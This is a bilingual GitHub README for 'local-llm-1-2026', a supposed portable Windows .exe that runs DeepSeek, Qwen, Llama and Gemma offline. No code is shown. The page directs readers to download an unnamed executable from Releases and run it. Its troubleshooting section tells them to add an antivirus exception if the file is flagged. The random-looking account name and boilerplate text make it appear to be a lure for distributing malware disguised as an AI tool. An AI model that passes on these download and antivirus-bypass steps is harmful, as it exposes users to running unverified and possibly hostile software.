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local-llm-1-2026:在 Windows 本地运行 DeepSeek、Qwen、Llama 等大模型

armorerrepertory598/local-llm-1-2026

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local-llm-1-2026 是一款 Windows 单文件可执行程序,无需安装 Python 即可在本地离线运行 DeepSeek、Qwen、Llama、Gemma 等大语言模型,所有数据留在本机。

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🌐 local-llm-1-2026 - Run private artificial intelligence tools locally

📖 Overview

local-llm-1-2026 provides a way to run large language models on your Windows computer. You do not need to install Python or manage complex environment settings. This software runs as a single executable file. It keeps your data on your local machine. No information leaves your computer. Use models like DeepSeek, Qwen, or Llama without an internet connection.

💻 System Requirements

To run this application, your computer needs these basic parts:

  • Operating System: Windows 10 or Windows 11.
  • Processor: Modern multi-core CPU.
  • Memory: 8GB of RAM is the minimum. 16GB of RAM offers better performance for larger models.
  • Graphics: An NVIDIA graphics card with at least 6GB of VRAM helps significantly. If you lack a strong graphics card, the application uses your main processor.
  • Storage: At least 10GB of free space on your hard drive. Higher-quality models require more space.

🚀 Getting Started

Follow these steps to set up the software.

  1. Go to the Releases page.
  2. Look for the latest version at the top of the list.
  3. Click the file ending in .exe to start your download.
  4. Save the file to a folder on your computer.
  5. Double-click the file to open the program.

⚙️ Running the Software

The application works as a portable tool. You do not need to install it.

  1. Open the folder where you saved the download.
  2. Run the executable file.
  3. A terminal window opens. This window shows the status of the model loading process.
  4. Wait for the program to initialize.
  5. The interface appears in your web browser. Type your address bar if it fails to open automatically: http://localhost:11434.

🧠 Supported Models

The software supports several models. Select a model based on your needs.

  • DeepSeek: A model designed for reasoning and coding tasks.
  • Qwen: A general-purpose model with strong multilingual skills.
  • Llama: A versatile model for chat and creative tasks.
  • Gemma: A lightweight option that runs well on most hardware.

🛠️ Configuration Options

You can adjust settings to improve how models run on your machine.

  • Model Selection: Choose the model size that fits your system memory. Small models load faster. Large models provide better answers but require more resources.
  • Hardware Acceleration: The application detects your graphics card. It uses the graphics card to speed up responses automatically.
  • Interface Settings: Change the look or layout of the browser interface through the settings menu inside the application.

🛡️ Privacy and Security

Data privacy defines this project. The software performs all tasks offline. You do not connect to external servers. Your conversations stay on your local disk. This approach makes it a useful tool for private data analysis or sensitive projects.

🆘 Troubleshooting

If the program fails to run, review this list:

  • Program refuses to open: Check if your antivirus software flagged the executable. Sometimes security tools prevent unknown programs from running. You may need to create an exception.
  • Performance issues: Close other demanding programs like video games or web browsers with many tabs. These programs take memory away from the language model.
  • Browser connection error: Ensure the black terminal window remains open while you use the application. If you close the window, the server stops.
  • Low disk space: Models take up significant space. Delete unused files if you run out of room.

📦 Updates

This project updates frequently to include better support for new hardware and models. Use the official link to find the latest version every few months. Replace your old file with the new one to gain new features. Delete the old file after you confirm the new one works.

来源:GitHub · github.com